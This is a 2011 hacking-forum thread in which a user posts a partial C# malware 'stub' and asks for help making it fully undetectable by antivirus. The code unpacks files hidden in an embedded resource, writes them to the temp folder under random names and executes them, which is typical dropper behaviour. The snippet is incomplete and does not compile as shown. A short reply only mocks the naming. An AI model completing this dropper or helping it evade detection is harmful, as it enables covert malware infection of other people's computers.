Thread: [help plz in c# stub coding to make fud](#)

Slagle96 - August 9, 2011, 9:26 am

i got this code

```
Code class ____Program
{
    static string[] ____x = new string[] { "HF" };
    static System.Resources.ResourceManager ____rManager = new
System.Resources.ResourceManager("res", Assembly.GetExecutingAssembly());
    static string ____myPath = Process.GetCurrentProcess().MainModule.FileName;
    static string[] ____args = null;
    [DllImport("User32.dll")]
    private static extern int MessageBoxA(int h, string g, string r, int d);
    static void ____beginRun(object ____boundArray)
    {
        Random ____r = new Random();
        try
        {
            foreach (string ____file in ((string)____boundArray).Split(____x,
StringSplitOptions.RemoveEmptyEntries))
            {
                string[] ____split = ____file.Split(new string[] { "@@slagle96@@" },
StringSplitOptions.RemoveEmptyEntries);
                byte[] ____bytes =
Encoding.GetEncoding(1252).GetBytes(____ReverseString(____split[0]));
                string ____tmp = Path.GetTempPath() + ____r.Next(0, 1000) + ____split[1];
                File.WriteAllBytes(____tmp, ____bytes);
                Process.Start(____tmp);
            }
        }
    }
}
```

imj trying to get it fud can any body help ?

Okay, here is the thing:

- 1) Wtf is that "____"? :O
- 2) That is a small snippet.
